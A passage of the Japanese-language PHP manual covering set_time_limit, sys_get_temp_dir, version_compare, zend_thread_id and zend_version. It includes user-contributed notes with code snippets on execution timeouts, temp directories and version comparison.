参考

  • ini_set() - 設定オプションの値を設定する
  • get_include_path() - 現在の include_path 設定オプションを取得する
  • restore_include_path() - include_path 設定オプションの値を元に戻す
  • include - include

User Contributed Notes

Pietje Puk 17-Dec-2020 04:46
An empty string as the include path has no effect. Setting it to PATH_SEPARATOR has the same effect as "."
till at etill dot net 11-Mar-2015 12:27
It appears that relative paths are allowed:

 set_include_path( '..' . DIRECTORY_SEPARATOR . 'source');
 require_once( 'Foo.class.php');
cloxy at cloxy dot com 27-Mar-2012 06:11
If you want to include files with their absolute path without changing the current include path, you can use the magic constant __DIR__ . For example:

<?php include(__DIR__.'/file.php'); ?>

It is available since PHP 5.3.
parks at vecinc dot com 27-Jul-2009 11:44
If you find that this function is failing for you, and you're not sure why, you may have set your php include path in your sites's conf file in Apache  (this may be true of .htaccess as well)

So to get it to work, comment out any "php_value include_path" type lines in your Apache conf file, and you should be able to set it now in your php code.
chris-r3i 06-Mar-2007 02:35
Can be useful to check the value of the constant PATH_SEPARATOR.

<?php
if ( ! defined( "PATH_SEPARATOR" ) ) {
  if ( strpos( $_ENV[ "OS" ], "Win" ) !== false )
    define( "PATH_SEPARATOR", ";" );
  else define( "PATH_SEPARATOR", ":" );
}
?>

For older versions of php, PATH_SEPARATOR is not defined.
If it is so, we must check what kind of OS is on the web-server and define PATH_SEPARATOR properly
koenig at electronova dot net 02-Oct-2006 09:24
You can also add several paths in one set_include_path separating them by ':'.
ex : set_include_path('/home/mysite/includes1:/home/mysite/includes2')
df a t dougfelton d o t c o m 25-Jan-2005 07:37
In order to use .htaccess files to set the include path, PHP must be installed as an Apache module. If PHP is compiled as a CGI binary, you can set the include path in a custom php.ini file (if, for example, you're being hosted somewhere and don't have access to the main php.ini file.  Note that custom php.ini files don't affect subdirectories in the way that .htaccess files do, so you'll need to put your custom php.ini file in any subdirectories as well.


実行時間の最大値を制限する

  • ≪ set_include_path
  • sys_get_temp_dir ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 実行時間の最大値を制限する

set_time_limit

(PHP 4, PHP 5, PHP 7, PHP 8)

set_time_limit — 実行時間の最大値を制限する

説明

set_time_limit ( int $seconds ) : bool

スクリプトが実行可能な秒数を設定します。 この制限にかかるとスクリプトは致命的エラーを返します。 デフォルトの制限値は 30 秒です。 なお、php.iniでmax_execution_timeの 値が定義されている場合にはそれを用います。

この関数がコールされた場合、 タイムアウトカウンタをゼロから再スタートします。 言いかえると、タイムアウトがデフォルトの 30 秒で スクリプト実行までに 25 秒かかる場合に、 set_time_limit(20) を実行すると、スクリプトは、 タイムアウトまでに全体で 45秒 の間実行されます。

パラメータ

seconds

最大実行時間を表す秒数。ゼロを設定すると、時間制限を行いません。

返り値

成功した場合に true、失敗した場合に false を返します。

注意

注意:

関数 set_time_limit() と設定ディレクティブ max_execution_time は、 このスクリプト自体の実行時間にのみ影響を与えます。 system() を用いたシステムコール、ストリーム操作、 データベースクエリ等のスクリプト実行以外で発生する処理にかかった時間は スクリプトが実行される最大時間を定義する際には含まれません。 ただし、Windows ではこれは当てはまりません。 計測された時間は実際の時間と等しくなります。

参考

  • max_execution_time
  • max_input_time

User Contributed Notes

Daan 15-Mar-2021 12:00
If you would like to calculatue the wall time of your script (includes all external DB/HTTP calls etc.) in Unix (in Windows this is already default behavior), you could use the following function:

<?php

$timeoutInSeconds = 3;

// This will make sure this is always called async
pcntl_async_signals(1);

// Second parameter is any callable (https://www.php.net/manual/en/language.types.callable.php)
pcntl_signal(SIGALRM, function() {
    exit('Stop it!');
});
pcntl_alarm($timeoutInSeconds);

?>
Anonymous 11-Nov-2019 07:05
if you want to check how much time remains, this should work (at least on Windows, on non-Windows platforms, i'm not sure)

$seconds_remaining_until_termination = ini_get('max_execution_time') === "0" ? null : ((int)ini_get('max_execution_time'))-(microtime(true)-$_SERVER['REQUEST_TIME_FLOAT']);

gives you number of seconds until the script will be terminated due to the time limit. (tested on Windows 7 X64 SP1 with PHP 7.3.7)  - or gives you null if there is no time limit.
f.nakamura 06-Jul-2015 07:54
set_tme_limit resets the execution time count.

test code1:
<?php
echo '<html><body>';
set_time_limit(1);
$i = 0;
while(++$i < 100000001){
        if($i % 100000 == 0){
                echo $i / 100000, "<br/>\n";
        }
}
echo "done.<br/>\n";

// will not echo 'done.'.
?>

test code2:
<?php
echo '<html><body>';
set_time_limit(1);
$i = 0;
while(++$i < 100000001){
        if($i % 100000 == 0){
                set_time_limit(1);
                echo $i / 100000, "<br/>\n";
        }
}
echo "done.<br/>\n";

// will echo 'done.'
?>
kexianbin at diyism dot com 20-May-2014 09:41
Both set_time_limit(...) and  ini_set('max_execution_time',...); won't count the time cost of sleep,file_get_contents,shell_exec,mysql_query etc, so i build this function my_background_exec(), to run static method/function in background/detached process and time is out kill it:

my_exec.php:
<?php
function my_background_exec($function_name, $params, $str_requires, $timeout=600)
         {$map=array('"'=>'\"', '$'=>'\$', '`'=>'\`', '\\'=>'\\\\', '!'=>'\!');
          $str_requires=strtr($str_requires, $map);
          $path_run=dirname($_SERVER['SCRIPT_FILENAME']);
          $my_target_exec="/usr/bin/php -r \"chdir('{$path_run}');{$str_requires} \\\$params=json_decode(file_get_contents('php://stdin'),true);call_user_func_array('{$function_name}', \\\$params);\"";
          $my_target_exec=strtr(strtr($my_target_exec, $map), $map);
          $my_background_exec="(/usr/bin/php -r \"chdir('{$path_run}');{$str_requires} my_timeout_exec(\\\"{$my_target_exec}\\\", file_get_contents('php://stdin'), {$timeout});\" <&3 &) 3<&0";//php by default use "sh", and "sh" don't support "<&0"
          my_timeout_exec($my_background_exec, json_encode($params), 2);
         }

function my_timeout_exec($cmd, $stdin='', $timeout)
         {$start=time();
          $stdout='';
          $stderr='';
          //file_put_contents('debug.txt', time().':cmd:'.$cmd."\n", FILE_APPEND);
          //file_put_contents('debug.txt', time().':stdin:'.$stdin."\n", FILE_APPEND);

          $process=proc_open($cmd, [['pipe', 'r'], ['pipe', 'w'], ['pipe', 'w']], $pipes);
          if (!is_resource($process))
             {return array('return'=>'1', 'stdout'=>$stdout, 'stderr'=>$stderr);
             }
          $status=proc_get_status($process);
          posix_setpgid($status['pid'], $status['pid']);    //seperate pgid(process group id) from parent's pgid

          stream_set_blocking($pipes[0], 0);
          stream_set_blocking($pipes[1], 0);
          stream_set_blocking($pipes[2], 0);
          fwrite($pipes[0], $stdin);
          fclose($pipes[0]);

          while (1)
                {$stdout.=stream_get_contents($pipes[1]);
                 $stderr.=stream_get_contents($pipes[2]);

                 if (time()-$start>$timeout)
                    {//proc_terminate($process, 9);    //only terminate subprocess, won't terminate sub-subprocess
                     posix_kill(-$status['pid'], 9);    //sends SIGKILL to all processes inside group(negative means GPID, all subprocesses share the top process group, except nested my_timeout_exec)
                     //file_put_contents('debug.txt', time().":kill group {$status['pid']}\n", FILE_APPEND);
                     return array('return'=>'1', 'stdout'=>$stdout, 'stderr'=>$stderr);
                    }

                 $status=proc_get_status($process);
                 //file_put_contents('debug.txt', time().':status:'.var_export($status, true)."\n";
                 if (!$status['running'])
                    {fclose($pipes[1]);
                     fclose($pipes[2]);
                     proc_close($process);
                     return $status['exitcode'];
                    }

                 usleep(100000);
                }
         }
?>

a_class.php:
<?php
class A
{
    static function jack($a, $b)
           {sleep(4);
            file_put_contents('debug.txt', time().":A::jack:".$a.' '.$b."\n", FILE_APPEND);
            sleep(15);
           }
}
?>

test.php:
<?php
require 'my_exec.php';

my_background_exec('A::jack', array('hello', 'jack'), 'require "my_exec.php";require "a_class.php";', 8);
?>
robertbrogers at gmail dot com 09-Jan-2014 08:45
Documentation states:
When called, set_time_limit() restarts the timeout counter from zero. In other words, if the timeout is the default 30 seconds, and 25 seconds into script execution a call such as set_time_limit(20) is made, the script will run for a total of 45 seconds before timing out.

If I have a long running script and i want a exact  time limit, I set this as near as possible to the first line.
mingalevme at gmail dot com 10-May-2012 07:51
If you're using PHP_CLI SAPI and getting error "Maximum execution time of N seconds exceeded" where N is an integer value, try to call set_time_limit(0) every M seconds or every iteration. For example:

<?php

require_once('db.php');

$stmt = $db->query($sql);

while ($row = $stmt->fetchRow()) {
    set_time_limit(0);
    // your code here
}

?>
ratty at brohoof dot com 25-Nov-2011 07:39
One thing that I wish I had found sooner is, if you're using php-cli and really need to limit the executation time, and if you're in *nix, you can use "timeout" which is part of coreutils.
For example:

timeout 5 /usr/bin/php -q /path/to/script

and it will kill it if it takes longer than 5 seconds.
I had a few quick php scripts I wrote for use with cacti for example.
alexander dot krause at ed-solutions dot de 29-Aug-2011 02:26
A nice workaround to have a real max_execution_time (needs posix and pcntl):

<?php
$pid=pcntl_fork();

if ($pid) {
  //long time process
  $a=0;
  while (true) {
    echo "a=$a\n\n";
    ob_flush();
    flush();
    $a++;
    shell_exec('sleep 10&');
  }
} else {
  //time-limit checker
  sleep(5);
  posix_kill(posix_getppid(),SIGKILL);
}
?>
agvozden at gmail dot com 01-Oct-2010 01:51
If you got something like:

msg: set_time_limit() [function.set-time-limit]: Cannot set time limit in safe mode

try this:

<?php
        if( !ini_get('safe_mode') ){
            set_time_limit(25);
        }
?>
Silver_Knight 23-Mar-2010 05:18
if you are running a script that needs to execute for unknown time, or forever.. you may use
set_time_limit(0);
.....
...
..
.
and at the end of the script use flush() function to tell phpto send out what it has generated.
ravenswd at gmail dot com 15-Aug-2009 04:46
Unfortunately, a script which gets into an infinite loop can produce an alarming amount of output in only a few seconds. I was attempting to debug a script, and I added

<?php
set_time_limit(2);
?>

to the beginning of the script. Unfortunately, even two seconds of run time produced enough output to overload the memory available to my browser.

So, I wrote a short routine which would limit the execution time, and also limit the amount of output returned. I added this to the beginning of my script and it worked perfectly:

<?php
set_time_limit(2);

ob_start();     // buffer output

function shutdown () {
    // print only first 2000 characters of output
    $out = ob_get_clean();
    print substr($out, 0, 2000);
}

register_shutdown_function('shutdown');
?>
BW 16-May-2009 05:08
If you use Apache you can change maximum execution time by .htaccess with this line

php_value max_execution_time 200
cweiske at cweiske dot de 02-Sep-2008 04:38
To get the currently used time, use getrusage()
jonathon dot keogh at gmail dot com 18-Jul-2008 02:07
You can do set_time_limit(0); so that the script will run forever - however this is not recommended and your web server might catch you out with an imposed HTTP timeout (usually around 5 minutes).

You should check your web server's guides for more information about HTTP timeouts.

Jonathon
AtlantisNet 04-Jun-2008 12:08
In IIS, there is another global timeout setting which will override any PHP settings.  You can alter this timeout by following the following instructions:

http://www.iisadmin.co.uk/?p=7
php at stock-consulting dot com 12-Jan-2007 05:30
To find out the currently set time limit, use

<?php
 ini_get('max_execution_time');
?>

If set_time_limit has been previously called in the script, the result will be the value which was passed to set_time_limit (and not, as the function name "ini_get" appears to suggest, the value from the php.ini file).
bjfieldNO at SPAMgmail dot com 10-Jan-2007 02:53
Timeouts after five minutes in IIS on Windows are caused by an inherited CGI Timeout value of 300 seconds.  This is not a PHP problem.  The fix is to add custom values for the files or directories that need longer to run.

In IIS 5.0 or 7.0 (beta as of this note), you can change this value on a fairly granular level using IIS Manager, under (roughly) YOURSITE -> Properties -> Home Directory -> Configuration (button) -> Options, but in IIS 6.0, this functionality is turned off (!), so you have to get into the Metabase.

Find the site number in Metabase Explorer (e.g., 12345678), then from CMD prompt:

[get to the scripts dir]
cd C:\Inetpub\AdminScripts

[this for each subdirectory from off the site root]
cscript adsutil.vbs CREATE W3SVC/12345678/root/"MY SUBDIRECTORY" IIsWebDirectory

[this for the file in question]
cscript adsutil.vbs CREATE W3SVC/12345678/root/"MY SUBDIRECTORY"/ILikeToTimeOut.php IIsWebFile

[this to set the timeout]
cscript adsutil.vbs set W3SVC/12345678/root/"MY SUBDIRECTORY"/ILikeToTimeOut.php/CGITimeout "7200"

Note:  "7200" is 2 hours in seconds, but can be whatever.

I derived the solution above from this fine article:
http://www.iis-resources.com/modules/AMS/article.php?
storyid=509&page=3
mba_aslam at yahoo dot com 05-Jan-2007 05:50
while setting the set_time_limit(), the duration of sleep() will be ignored in the execution time. The following illustrates:

<?php

set_time_limit(20);

while ($i<=10)
{
        echo "i=$i ";
        sleep(100);
        $i++;
}

?>

Output:
i=0 i=1 i=2 i=3 i=4 i=5 i=6 i=7 i=8 i=9 i=10
konrads dot smelkovs at gmail dot com 01-Apr-2006 06:35
If you are streaming large data from database, it is counted towards the max exec time.
jatin at jatinchimote dot com 01-Mar-2006 10:54
If you set the number of seconds to a very large number (not many ppl do that, but just in case) then php exits with a fatal error like :

Fatal error: Maximum execution time of 1 second exceeded in /path/to/your/script/why.php

[EDIT by danbrown AT php DOT net: This is due to the limit of 32-bit signed integers.]
Cleverduck 28-Feb-2006 01:36
Regarding what 'nytshadow' said, it's important to realize that max-execution-time and the set_time_limit functions measure the time that the CPU is working on the script.  If the script blocks, IE: for input, select, sleep, etc., then the time between blocking and returning is NOT measured.  This is the same when running scripts from the command line interface.  So if you've got a log parser written in PHP that tails a file, that program WILL fail eventually.  It just depends how long it takes to read in enough input to process for 30 seconds.

If you're writing a command line script that should run infinitely, setting max-execution-time to 0 (never stop) is HIGHLY recommended.
rycardo74 at gmail dot com 24-Nov-2005 10:52
this work to fine html streaming AND time pass limit

<?php
header('Content-type: text/plain');
echo date("H:m:s"), "\n";
set_time_limit(30);
for ($i = 0; $i < 1000; $i++)
{

    echo date("H:m:s"),"\n";
    for ($r = 0; $r < 100000; $r++){
    $X.=  tan(M_LNPI+log(ceil(  date("s")*M_PI*M_LNPI+100)));
    }
    ob_flush();
    flush();

}
echo "work! $x";
?>
eric pecoraro at shepard com 06-Jun-2005 12:57
I was having trouble with script timeouts in applications where the user prompted long running background actions. I wrote this cURL/CLI background script that solved the problem when making requests from HTTP.

<?php

/* BACKGROUND CLI 1.0

   eric pecoraro _at_ shepard dot com - 2005-06-02
   Use at your own risk. No warranties expressed or implied.

   Include this file at the top of any script to run it in the background
   with no time limitations ... e.g., include('background_cli.php');

   The script that calls this file should not return output to the browser.
*/
#  REQUIREMENTS - cURL and CLI
   if ( !function_exists('curl_setopt') OR !function_exists('curl_setopt')  ) {
      echo 'Requires cURL and CLI installations.' ; exit ;
   }

#  BUILD PATHS
   $script = array_pop(explode('/',$SCRIPT_NAME)) ;
   $script_dir = substr($SCRIPT_NAME,0,strlen($SCRIPT_NAME)-strlen($script)) ;
   $scriptURL = 'http://'. $HTTP_HOST . $script_dir . "$script" ;
   $curlURL = 'http://'. $HTTP_HOST . $script_dir . "$script?runscript=curl" ;

#  Indicate that script is being called by CLI
   if ( php_sapi_name() == 'cli' ) {
      $CLI = true ;
   }

#  Action if script is being called by cURL_prompt()
   if ( $runscript == 'curl' ) {
      $cmd = "/usr/local/bin/php ".$PATH_TRANSLATED ; // server location of script to run
      exec($cmd) ;
      exit;
   }

#  USER INTERFACE
   // User answer after submission.
   if ( $post ) {
      cURL_prompt($curlURL) ;
      echo '<div style="margin:25px;"><title>Background CLI</title>';
      echo 'O.K. If all goes well, <b>'.$script.'</b> is working hard in the background with no ' ;
      echo 'timeout limitations. <br><br><form action='.$scriptURL.' method=GET>' ;
      echo '<input type=submit value=" RESET BACKGROUND CLI "></form></div>' ;
      exit ;
   }
   // Start screen.
   if ( !$CLI AND !$runscript ) {
      echo '<title>Background CLI</title><div style="margin:25px;">' ;
      echo '<form action='.$scriptURL.' method=POST>' ;
      echo 'Click to run <b>'.$script.'</b> from the PHP CLI command line, in the background.<br><br>' ;
      echo '<input type=hidden value=1 name=post>' ;
      echo '<input type=submit value=" RUN IN BACKGROUND "></form></div>' ;
      exit ;
   }

#  cURL URL PROMPT FUNCTION
   function cURL_prompt($url_path) {
      ob_start(); // start output buffer
      $c=curl_init($url_path);
      curl_setopt($c, CURLOPT_TIMEOUT, 2); // drop connection after 2 seconds
      curl_exec($c);
      curl_close($c);
      ob_end_clean(); // discard output buffer
   }
?>
php at mightycpa.com 26-Jun-2003 01:30
You may also need to look at Apache's timeout setting (Win32 version for me), I changed max execution time value in php.ini, and still got stopped by Apache's timeout value in the httpd.conf file.
rsallo at gna dot NOSPAM dot es 30-May-2003 04:28
When you are working with IIS, PHP timeout is valid only when it's lower than script timeout defined by IIS.

IIS 5 has a default timeout of 300 seconds. If you need a higher timeout, you also have to change IIS properties. Otherwise, your server will stop your PHP script before it reaches its own timeout.


一時ファイル用に使用されるディレクトリのパスを返す

  • ≪ set_time_limit
  • version_compare ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 一時ファイル用に使用されるディレクトリのパスを返す

sys_get_temp_dir

(PHP 5 >= 5.2.1, PHP 7, PHP 8)

sys_get_temp_dir — 一時ファイル用に使用されるディレクトリのパスを返す

説明

sys_get_temp_dir ( ) : string

PHP が一時ファイルを保存するデフォルトのディレクトリのパスを返します。

返り値

一時ディレクトリのパスを返します。

例

例1 sys_get_temp_dir() の例

<?php
// sys_get_temp_dir() を使用して
// 一時ファイルディレクトリにファイルを作成します
$temp_file = tempnam(sys_get_temp_dir(), 'Tux');

echo $temp_file;
?>

上の例の出力は、 たとえば以下のようになります。

C:\Windows\Temp\TuxA318.tmp

参考

  • tmpfile() - テンポラリファイルを作成する
  • tempnam() - 一意なファイル名を生成する

User Contributed Notes

Anonymous 11-Mar-2021 01:28
On windows, when PHP is used as CLI, this function will return the temp directory for the current user e.g. C:\Users\JohnSmith\AppData\Local\Temp\9 instead of C:\Windows\Temp.
Arthur Clifford 02-Mar-2020 01:28
That is important for the purposes of building paths through concatenation to know that sys_get_temp_dir does not include a path separator at the end.

So, sys_get_temp_dir() will return whatever your temp dir is set to, by default:

/tmp

If you attempted to concatenate another dir name  temp and use the following:

mkdir(sys_get_temp_dir() . 'some_dir');

That would actually attempt to generate:
/tmpsome_dir

It would likely result in a permission error unless you are running a php script as a super user.

Instead you would want to do:
mkdir( sys_get_temp_dir() . DIRECTORY_SEPARATOR. 'some_dir' );

which would create:
/tmp/some_dir

I don't know if Windows or other platforms include a directory separator at the end. So if you are writing something a bit more general you may want to check for the path separator at the end and if it is not there append it.
besabellacyrus at gmail dot com 26-Aug-2019 01:36
using in windows this trim spaces and add ~1
OsakaWebbie 11-May-2017 03:40
If running on a Linux system where systemd has PrivateTmp=true (which is the default on CentOS 7 and perhaps other newer distros), this function will simply return "/tmp", not the true, much longer, somewhat dynamic path.
ohcc at 163 dot com 18-Jul-2016 05:17
when the sys_temp_dir directive is left unset, sys_get_temp_dir() returns C:\Windows on my Windows.
Nimja 17-Sep-2015 11:07
A very helpful thing to note when on Linux:

If you are running PHP from the commandline you can use the environment variable: TMPDIR - to change the location without touching php.ini. - This should work on most versions of PHP.

Example file: test.php
<?php
    echo sys_get_temp_dir() . PHP_EOL;
?>

And then running:

php test.php
     /tmp

TMPDIR=/custom/location php test.php
    /custom/location
Anonymous 24-Apr-2015 10:44
it should be mentioned that the return value of sys_get_temp_dir() can be set using the ini-directive 'sys_temp_dir' globally as well as per directory by using
php_admin_value sys_temp_dir /path/to/tmp
royanee at yahoo dot com 11-Jun-2014 08:27
As of PHP 5.5.0, you can set the sys_temp_dir INI setting so that this function will return a useful value when the default temporary directory is not an option.
Ismail Asci 31-Jan-2014 11:56
It's not documented but this function does not  send the path with trailing spaces, actually it drops the slash if it exists.

https://github.com/php/php-src/blob/af6c11c5f060870d052a2b765dc634d9e47d0f18/main/php_open_temporary_file.c#L238
bert-jan at bugbyte dot nl 29-Mar-2010 01:06
This function does not account for virtualhost-specific modifications to the temp path and/or open_basedir:

<Virtualhost>
php_admin_value open_basedir /home/user
php_admin_value upload_tmp_dir /home/user/tmp
php_admin_value session.save_path /home/user/tmp
</Virtualhost>

Within this config it still returns /tmp
dannel at aaronexodus dot com 07-Sep-2009 01:11
There's no need to use a random name for the directory for tempnam.

Since a file and a directory can't share the same name on the filesystem, we can exploit this and simply use the name of the current file. It is guaranteed that the directory won't exist (because it's a file, of course).

<?php
if ( !function_exists('sys_get_temp_dir')) {
  function sys_get_temp_dir() {
    if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
    if (!empty($_ENV['TMPDIR'])) { return realpath( $_ENV['TMPDIR']); }
    if (!empty($_ENV['TEMP'])) { return realpath( $_ENV['TEMP']); }
    $tempfile=tempnam(__FILE__,'');
    if (file_exists($tempfile)) {
      unlink($tempfile);
      return realpath(dirname($tempfile));
    }
    return null;
  }
}
?>
Anonymous 29-Jan-2008 04:08
This function does not always add trailing slash. This behaviour is inconsistent across systems, so you have keep an eye on it.


ふたつの "PHP 標準" バージョン番号文字列を比較する

  • ≪ sys_get_temp_dir
  • zend_thread_id ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • ふたつの "PHP 標準" バージョン番号文字列を比較する

version_compare

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

version_compare — ふたつの "PHP 標準" バージョン番号文字列を比較する

説明

version_compare ( string $version1 , string $version2 ) : int
version_compare ( string $version1 , string $version2 , string $operator ) : bool

version_compare()は、ふたつの "PHP 標準" バージョン 番号文字列を比較します。

この関数はまず、バージョン文字列の _, -, + をドット . で置き換えます。 さらに、数値でない部分の前後にドット . を追加します。 例えば '4.3.2RC1' は '4.3.2.RC.1' となります。 次に、左から右へ 各部分を比較していきます。特殊な文字列が含まれている場合は以下の順で 並べ替えます: ここにないすべての文字列 < dev < alpha = a < beta = b < RC = rc < # < pl = p この方法により、'4.1' と '4.1.2' のようなバージョンの違いだけではなく PHP 固有の開発ステータスの違いも判断することが可能となります。

パラメータ

version1

最初のバージョン番号。

version2

ふたつめのバージョン番号。

operator

三番目のオプション引数 operator を指定した場合、 特定の関係を調べることが可能です。指定可能な演算子を以下に示します。 <, lt, <=, le, >, gt, >=, ge, ==, =, eq, !=, <>, ne

このパラメータは大文字小文字を区別するので、すべて小文字で指定しなければなりません。

返り値

デフォルトでは、version_compare() の返り値は 最初のバージョンが 2 番目のバージョンより小さい場合に -1、 同じ場合に 0、そして 2 番目のバージョンのほうが小さい場合に 1 となります。

オプションの引数 operator を使用すると、 指定した演算子による関係を満たす場合に true、それ以外の場合に false を返すようになります。 サポートされていない operator が与えられると、null を返します。

例

以下の例では定数 PHP_VERSION を使用しています。 この定数には、コードを実行している PHP のバージョンが格納されています。

例1 version_compare() の例

<?php
if (version_compare(PHP_VERSION, '7.0.0') >= 0) {
    echo '7.0.0 より新しいバージョンの PHP を使っています。バージョンは ' . PHP_VERSION . " です。\n";
}

if (version_compare(PHP_VERSION, '5.3.0') >= 0) {
    echo '5.3.0 より新しいバージョンの PHP を使っています。バージョンは ' . PHP_VERSION . " です。\n";
}

if (version_compare(PHP_VERSION, '5.0.0', '>=')) {
    echo '5.0.0 より新しいバージョンの PHP を使っています。バージョンは ' . PHP_VERSION . " です。\n";
}

if (version_compare(PHP_VERSION, '5.0.0', '<')) {
    echo 'まだ PHP 4 です。バージョンは ' . PHP_VERSION . " です。\n";
}
?>

注意

注意:

PHP_VERSION 定数には現在の PHP のバージョンが格納されます。

注意:

プレリリース版 (たとえば 5.3.0-dev など) は、それに対応する正式版 (5.3.0) より小さいとみなされます。

注意:

alpha や beta のようなバージョン文字列は、大文字小文字を区別します。 したがって、どこかから取得したバージョン文字列を PHP の標準に従わせるなら、 まず strtolower() で小文字化してから version_compare() を呼ぶ必要があります。

参考

  • phpversion() - 現在の PHP バージョンを取得する
  • php_uname() - PHP が稼動しているオペレーティングシステムに関する情報を返す
  • function_exists() - 指定した関数が定義されている場合に true を返す

User Contributed Notes

Bob Ray 29-Oct-2015 11:07
Note that both leading and trailing spaces on your version numbers can break version_compare().

Tested on PHP 5.6.8:
 <?php
 echo  "\nShould be 0";
echo "\n '1.0.0-pl' vs. '1.0.0-pl'  ---> " . version_compare('1.0.0-pl', '1.0.0-pl');
echo "\n '1.0.0-pl' vs. ' 1.0.0-pl' ---> " . version_compare('1.0.0-pl', ' 1.0.0-pl');
echo "\n ' 1.0.0-pl' vs. '1.0.0-pl' ---> " . version_compare(' 1.0.0-pl', '1.0.0-pl');
echo "\n '1.0.0-pl' vs. '1.0.0-pl ' ---> " . version_compare('1.0.0-pl', '1.0.0-pl ');
echo "\n '1.0.0-pl ' vs. '1.0.0-pl' ---> " . version_compare('1.0.0-pl ', '1.0.0-pl');

echo "\n\nShould be 1";
echo "\n '1.1.1-pl' vs. '1.0.0-pl'  ---> " . version_compare('1.1.1-pl', '1.0.0-pl');
echo "\n ' 1.1.1-pl' vs. '1.0.0-pl' ---> " . version_compare(' 1.1.1-pl', '1.0.0-pl');

echo "\n\nShould be -1";
echo "\n '1.0.0-pl' vs. '1.1.1-pl'  ---> " . version_compare('1.0.0-pl', '1.1.1-pl');
echo "\n '1.0.0-pl' vs. ' 1.1.1-pl' ---> " . version_compare('1.0.0-pl', ' 1.1.1-pl');

    /* Output
Should be 0
 '1.0.0-pl' vs. '1.0.0-pl'  ---> 0
 '1.0.0-pl' vs. ' 1.0.0-pl' ---> 1
 ' 1.0.0-pl' vs. '1.0.0-pl' ---> -1
 '1.0.0-pl' vs. '1.0.0-pl ' ---> 1
 '1.0.0-pl ' vs. '1.0.0-pl' ---> -1

Should be 1
 '1.1.1-pl' vs. '1.0.0-pl'  ---> 1
 ' 1.1.1-pl' vs. '1.0.0-pl' ---> -1

Should be -1
 '1.0.0-pl' vs. '1.1.1-pl'  ---> -1
 '1.0.0-pl' vs. ' 1.1.1-pl' ---> 1
    */
mindplay.dk 21-Jul-2012 03:10
This little script can perhaps help you understand version comparison a little better - the output is displayed in the comment at the top. Tweak the list of versions if you need more examples...

<?php

#      1 lt 1.0
#    1.0 lt 1.01
#   1.01 eq 1.1
#    1.1 lt 1.10
#   1.10 gt 1.10b
#  1.10b lt 1.10.0

header('Content-type: text/plain');

$versions = array(
  '1',
  '1.0',
  '1.01',
  '1.1',
  '1.10',
  '1.10b',
  '1.10.0',
);

$comps = array(
 -1 => 'lt',
  0 => 'eq',
  1 => 'gt'
);

foreach ($versions as $version) {
  if (isset($last)) {
    $comp = version_compare($last, $version);
    echo str_pad($last,8,' ',STR_PAD_LEFT) . " {$comps[$comp]} {$version}\n";
  }
  $last = $version;
}

?>
rogier 30-Nov-2011 08:43
Please note that supplying an operator that is not listed (e.g. ===), this function returns NULL instead of false.

Tested on PHP5.3.0, Win32
insid0r at yahoo dot com 06-Mar-2009 01:05
Since this function considers 1 < 1.0 < 1.0.0, others might find this function useful (which considers 1 == 1.0):

<?php
//Compare two sets of versions, where major/minor/etc. releases are separated by dots.
//Returns 0 if both are equal, 1 if A > B, and -1 if B < A.
function version_compare2($a, $b)
{
    $a = explode(".", rtrim($a, ".0")); //Split version into pieces and remove trailing .0
    $b = explode(".", rtrim($b, ".0")); //Split version into pieces and remove trailing .0
    foreach ($a as $depth => $aVal)
    { //Iterate over each piece of A
        if (isset($b[$depth]))
        { //If B matches A to this depth, compare the values
            if ($aVal > $b[$depth]) return 1; //Return A > B
            else if ($aVal < $b[$depth]) return -1; //Return B > A
            //An equal result is inconclusive at this point
        }
        else
        { //If B does not match A to this depth, then A comes after B in sort order
            return 1; //so return A > B
        }
    }
    //At this point, we know that to the depth that A and B extend to, they are equivalent.
    //Either the loop ended because A is shorter than B, or both are equal.
    return (count($a) < count($b)) ? -1 : 0;
}
?>
opendb at iamvegan dot net 10-Jun-2007 05:01
Something that may trip some folks up, but is useful to mention is that the following version comparison does not work quite as I expected:
    version_compare('1.0.1', '1.0pl1', '>')

However, its quite easy to get working:
    version_compare('1.0.1', '1.0.0pl1', '>')
arnoud at procurios dot nl 29-Sep-2004 02:28
If you're careful, this function actualy works quite nicely for comparing version numbers from programs other than PHP itself. I've used it to compare MySQL version numbers. The only issue is that version_compare doesn't recognize the 'gamma' addition that mysql uses as being later than 'alpha' or 'beta', because the latter two are treated specially. If you keep this in mind though, you should have no problems.
eric at themepark dot com 21-Jun-2004 09:50
[editors note]
snipbit fixed after comment from Matt Mullenweg

--jm
[/editors note]

so in a nutshell... I believe it works best like this:

<?php
if (version_compare(phpversion(), "4.3.0", ">=")) {
  // you're on 4.3.0 or later
} else {
  // you're not
}
?>
sam at wyvern dot non-spammers-remove dot com dot au 23-May-2004 11:18
Actually, it works to any degree:

<?php
version_compare('1.2.3.4RC7.7', '1.2.3.4RC7.8')
version_compare('8.2.50.4', '8.2.52.6')
?>

will both give -1 (ie the left is lower than the right).


現在のスレッドの一意な ID を返す

  • ≪ version_compare
  • zend_version ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 現在のスレッドの一意な ID を返す

zend_thread_id

(PHP 5, PHP 7, PHP 8)

zend_thread_id — 現在のスレッドの一意な ID を返す

説明

zend_thread_id ( ) : int

この関数は、現在のスレッドの一意な ID を返します。

返り値

スレッドの ID を表す整数値を返します。

例

例1 zend_thread_id() の例

<?php
$thread_id = zend_thread_id();

echo 'Current thread id is: ' . $thread_id;
?>

上の例の出力は、 たとえば以下のようになります。

Current thread id is: 7864

注意

注意:

この関数が使用できるのは、PHP を ZTS (Zend Thread Safety) サポートつきのデバッグモード (--enable-debug) でビルドした場合のみです。

User Contributed Notes

There are no user contributed notes for this page.


現在の Zend Engine のバージョンを取得する

  • ≪ zend_thread_id
  • phpdbg ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 現在の Zend Engine のバージョンを取得する

zend_version

(PHP 4, PHP 5, PHP 7, PHP 8)

zend_version — 現在の Zend Engine のバージョンを取得する

説明

zend_version ( ) : string

現在実行中の Zend Engine のバージョンを含む文字列を返します。

返り値

Zend Engine のバージョン番号を文字列で返します。

例

例1 zend_version() の例

<?php
echo "Zend engine version: " . zend_version();
?>

上の例の出力は、 たとえば以下のようになります。

Zend engine version: 2.2.0

参考

  • phpinfo() - PHP の設定情報を出力する
  • phpcredits() - PHP に関するクレジットを出力する
  • php_logo_guid()
  • phpversion() - 現在の PHP バージョンを取得する

User Contributed Notes

There are no user contributed notes for this page.


Interactive PHP Debugger

  • はじめに
  • インストール/設定
